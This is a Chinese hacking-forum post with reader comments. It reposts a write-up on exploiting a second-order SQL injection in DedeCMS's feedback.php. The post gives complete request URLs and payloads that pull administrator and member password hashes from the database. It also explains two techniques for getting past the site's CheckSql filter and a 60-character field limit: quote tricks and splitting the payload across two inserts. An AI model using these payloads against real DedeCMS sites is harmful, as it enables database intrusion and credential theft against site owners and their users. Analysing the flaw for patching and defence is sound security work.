关于冰封的《DEDECMS 通杀鸡肋注入一枚》利用exp 原60字符限制突破利用
我这里就直接复制了╮(╯▽╰)╭sorry
Dedecms 二次注入经典exp构造 原60字符限制突破利用
发表回复
0×01 前言
作者:Tycx2ry@SafeKey Team
Long long ago,[email protected]发现dedecms二次注入的一个经典代码审计中二次攻击的案例,但限于字段大小不能超过60字节而显得比较鸡肋,在safekeyer集体的智慧之下发现两种突破办法。
此文重在exp的构造,如需详细漏洞分析,请看:http://www.wooyun.org/bugs/wooyun-2010-018562(https://www.t00ls.com/thread-22246-1-2.html)
0×02 方法一:直接缩短法
理论:insert –> select –>insert –>select
Exp:(红色表示重点数据)
第一次insert
http://127.0.0.1/dede/plus/feedback.php
?action=send
&comtype=comments
&aid=1
&isconfirm=yes
&cmtuser=admin
&msg=asfsafsdaf
&face=6
&validate=slep
&title=1′,”‘”,1,3,4,5,6,7,8,(select pwd from %23@__admin))%23
&sbbt=%E5%8F%91%E9%80%81%E8%AF%84%E8%AE%BA
第二次insert
http://127.0.0.1/dede/plus/feedback.php
?action=send
&comtype=reply
&fid=27
&isconfirm=yes
&cmtuser=admin
&msg=asfsafsdaf
&face=6
&validate=angr
&title=1
&sbbt=%E5%8F%91%E9%80%81%E8%AF%84%E8%AE%BA
看出我们第一次insert的payload是:
1′,”‘”,1,3,4,5,6,7,8,(select pwd from %23@__admin))%23
数据库:
返回结果:
绕过具体代码分析:
function CheckSql($db_string,$querytype='select')
{
·····(此处省略)
while (TRUE)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
//echo $clean;exit();
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
····(此处省略)
}
第二次insert的sql:
INSERT INTO
`#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES (’1′,’0′,’test’,’1′,”‘”,1,3,4,5,6,7,8,(select pwd from dede_admin))#’,’127.0.0.1′,’1′,’1367583435′,’2′,’0′,’0′,’feedback’,’6′,’asfsafsdaf’)
经过上述处理:
INSERT INTO
`dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ($s$,$s$,$s$,$s$,”$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$)
然后function CheckSql($db_string,$querytype=’select’)得检测绕过了。
重点在关于单引号的处理,用双引号引上单引号,使单引号作为字符串,单引号在绕过注入检测起了重要作用,又使之在完整的insert不能发挥单引号作用,只作为字符串。
0×03 方法二:两次插入结合法
理论:insert –> select –>insert –>select
Exp:(红色表示重点数据)
第一次insert
http://127.0.0.1/dede/plus/feedback.php
?action=send
&comtype=comments
&aid=1
&isconfirm=yes
&cmtuser=admin
&msg=asfsafsdaf
&face=6
&validate=slep
&title=1′,(char(@`’`)),/*
&sbbt=%E5%8F%91%E9%80%81%E8%AF%84%E8%AE%BA
第二次insert
http://127.0.0.1/dede/plus/feedback.php
?aid=1
&action=send
&comtype=reply
&fid=48
&isconfirm=yes
&validate=craf
&msg=*/1,2,3,4,5,6,7,(select/**/concat(userid,0x3a,pwd)/**/from/**/dede_member/**/limit/**/1))%23
通过两次insert向数据库中插入payload的不同部分,然后组合起来成为一个完整的payload
第一次插入:1′,(char(@`’`)),/*
第二次插入:*/1,2,3,4,5,6,7,(select/**/concat(userid,0x3a,pwd)/**/from/**/dede_member/**/limit/**/1))%23
组成最后完整的语句:
INSERT INTO
`#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES (’1′,’0′,’test’,’1′,(char(@`’`)),/*’,’127.0.0.1′,’1′,’1367591176′,’2′,’0′,’0′,’feedback’,’0′,’@`\’`*/,2,3,4,5,6,7,8,(selectconcat(userid,0x7c,pwd)from#@__admin))’)
经过防注入函数处理:
insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,(char(@`$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$)
完全没有问题绕过。
数据库:
返回结果:
时间是5月5号 看过的就算了 不过论坛上没有 今天早上无意间看到的就发上来了
评论21次
支持原创啊 辛苦啦
支持。
mark 学xi
嗯,乌云看到了。
这个分析很不错
表示亚历山大
强势插入。无孔不入啊!
好帖子要顶
已经看过了。漏洞已经被补。。
mark一下吧
之前在wooyun看到过了。。 思路淫荡啊。。
思路很赞,学xi了
确实有点鸡肋
这个突破 学xi了
dede总是被曝!!
这个我已经知道了 嘿嘿 当初没想到 ps: 你@ 我 我怎么不知道捏
mark一下
感谢分享
摸摸头~
o(∩_∩)o 哈哈